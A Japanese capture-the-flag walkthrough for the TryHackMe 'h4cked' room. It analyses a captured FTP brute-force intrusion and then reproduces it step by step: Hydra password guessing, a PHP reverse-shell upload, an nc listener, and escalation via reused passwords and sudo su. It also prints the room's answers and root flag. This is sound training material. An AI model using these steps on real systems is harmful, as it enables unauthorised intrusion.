概要
TryHackMe「h4cked」のWalkthroughです。
Task1
Q2.The attacker is trying to log into a specific service. What service is this?
Hint.Port 21
最初にFTPへのログインを試みています。
A.FTP
Q3.There is a very popular tool by Van Hauser which can be used to brute force a series of services. What is the name of this tool?
Hint.https://github.com/vanhauser-thc
Hydra
を使用してブルートフォース攻撃ができます。
A.Hydra
Q4.The attacker is trying to log on with a specific username. What is the username?
Hint.Look at the FTP Request
FTPのリクエストを確認するとユーザー名にjenny
を使用してパスワードをブルートフォース攻撃しています。
A.Jenny
Q5.What is the user's password?
Hint.The password is displayed in the FTP request
FTPのログイン成功しているパケットを探します。
ログインが成功した場合230
レスポンスコードが返ってくるので、そのTCPストリームを確認します。
A.password123
Q6.What is the current FTP working directory after the attacker logged in?
Hint.Web root
攻撃者がログイン後、PWD
コマンドでカレントディレクトリを確認しています。
A./var/www/html
Q7.The attacker uploaded a backdoor. What is the backdoor's filename?
Hint.It has a .php extension
STOR
コマンドでshell.php
をアップロードしています。
A.shell.php
Q8.The backdoor can be downloaded from a specific URL, as it is located inside the uploaded file. What is the full URL?
Hint.Look at the FTP-DATA protocol
ftp-data
でフィルタリングし、FTPに設置されたリバースシェルファイルの中身を見ます。
pentestmonkeyのPHPリバースシェルファイルをアップロードしたようです。
A.http://pentestmonkey.net/tools/php-reverse-shell
Q9.Which command did the attacker manually execute after getting a reverse shell?
Hint.You can right click on the relevant packet and select "Follow" > "TCP Stream"
攻撃者はFTPにファイルをアップロード後、HTTPで/shell.php
にアクセスしリバースシェルを張っています。
その後のパケットのTCP Streamを追うことでコマンドの実行履歴が見れます。
A.whoami
Q10.What is the computer's hostname?
Hint.You can right click on the relevant packet and select "Follow" > "TCP Stream"
ターミナルの表示からホスト名を確認できました。
A.wir3
Q11.Which command did the attacker execute to spawn a new TTY shell?
Hint.https://netsec.ws/?p=337
pythonを使用してttyを設定しています。
A.python3 -c 'import pty; pty.spawn("/bin/bash")'
Q12.Which command was executed to gain a root shell?
Hint.It is sudo-related
sudo -l
を確認後、全てコマンドが許可されているのでsudo su
でrootに昇格しています。
A.sudo su
Q13.The attacker downloaded something from GitHub. What is the name of the GitHub project?
Hint.The GitHub URL is located in the packet stream
Reptile
というルートキットをダウンロードしています。
A.Reptile
Q14.The project can be used to install a stealthy backdoor on the system. It can be very hard to detect. What is this type of backdoor called?
Hint.A certain type of kit
A.Rootkit
Task2
Q2.Run Hydra (or any similar tool) on the FTP service. The attacker might not have chosen a complex password. You might get lucky if you use a common word list.
Hint.The word list might rock your socks off...
ポートスキャンを実行します。
$ nmap -Pn -T4 -sVC -A 10.10.215.208 -oN nmap_result
PORT STATE SERVICE VERSION
1/tcp filtered tcpmux
21/tcp open ftp vsftpd 2.0.8 or later
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
21 | ftp | vsftpd 2.0.8 or later |
80 | http | Apache httpd 2.4.29 |
FTPが稼働しているので、既に判明しているjenny
アカウントのパスワードを探します。
$ hydra -f -l jenny -P /usr/share/wordlists/rockyou.txt 10.10.215.208 ftp
[21][ftp] host: 10.10.215.208 login: jenny password: 987654321
jenny
アカウントでFTPにログイン出来ました。
$ ftp 10.10.215.208
Connected to 10.10.215.208.
220 Hello FTP World!
Name (10.10.215.208:kali): jenny
331 Please specify the password.
Password:
230 Login successful.
Q3.Change the necessary values inside the web shell and upload it to the webserver
Hint.You can also find a series of web shells inside the /usr/share/webshells/php directory. This includes the same web shell as the attacker used. Remember to change the $ip variable to your own IP address and chmod the file if necessary
PHPのリバーシェルファイルをFTPにアップロードします。
ftp> put php-reverse-shell.php
local: php-reverse-shell.php remote: php-reverse-shell.php
229 Entering Extended Passive Mode (|||51758|)
150 Ok to send data.
100% |****************************************************************| 5493 61.62 MiB/s 00:00 ETA
226 Transfer complete.
5493 bytes sent in 00:00 (10.95 KiB/s)
ftp> ls
229 Entering Extended Passive Mode (|||7081|)
150 Here comes the directory listing.
-rw-r--r-- 1 1000 1000 10918 Feb 01 2021 index.html
-rw------- 1 1000 1000 5493 Dec 20 20:06 php-reverse-shell.php
-rwxrwxrwx 1 1000 1000 5493 Feb 01 2021 shell.php
226 Directory send OK.
アップロードしたリバースシェルファイルに権限を付与します。
ftp> site chmod 777 php-reverse-shell.php
200 SITE CHMOD command ok.
ftp> ls
229 Entering Extended Passive Mode (|||24619|)
150 Here comes the directory listing.
-rw-r--r-- 1 1000 1000 10918 Feb 01 2021 index.html
-rwxrwxrwx 1 1000 1000 5493 Dec 20 20:06 php-reverse-shell.php
-rwxrwxrwx 1 1000 1000 5493 Feb 01 2021 shell.php
Q4.Create a listener on the designated port on your attacker machine. Execute the web shell by visiting the .php file on the targeted web server.
Hint.You can use, for example, netcat to create a listener on the designated port
Netcatでリッスンし、80
番ポートのphp-reverse-shell.php
へアクセスするとリバースシェルを張れました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.215.208] 52934
Linux wir3 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
20:11:29 up 16 min, 0 users, load average: 0.00, 0.16, 0.40
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Q5.Become root!
Hint.Sudo-related command. There are tons to choose from!
TTYを設定します。
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
jenny
のFTPパスワードを流用できるか試したところjenny
アカウントへ昇格出来ました。
$ su jenny
su jenny
Password: 987654321
jenny@wir3:/$ whoami
whoami
jenny
sudo -l
で確認するとすべて許可されています。
$ sudo -l
sudo -l
[sudo] password for jenny: 987654321
Matching Defaults entries for jenny on wir3:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jenny may run the following commands on wir3:
(ALL : ALL) ALL
sudo su
でrootに昇格出来ました。
$ sudo su
sudo su
root@wir3:/home/jenny# whoami
whoami
root
Q6.Read the flag.txt file inside the Reptile directory
/root/Reptile/flag.txt
からルートフラグを入手できました。
ebcefd66ca4b559d17b440b6e67fd0fd
A.ebcefd66ca4b559d17b440b6e67fd0fd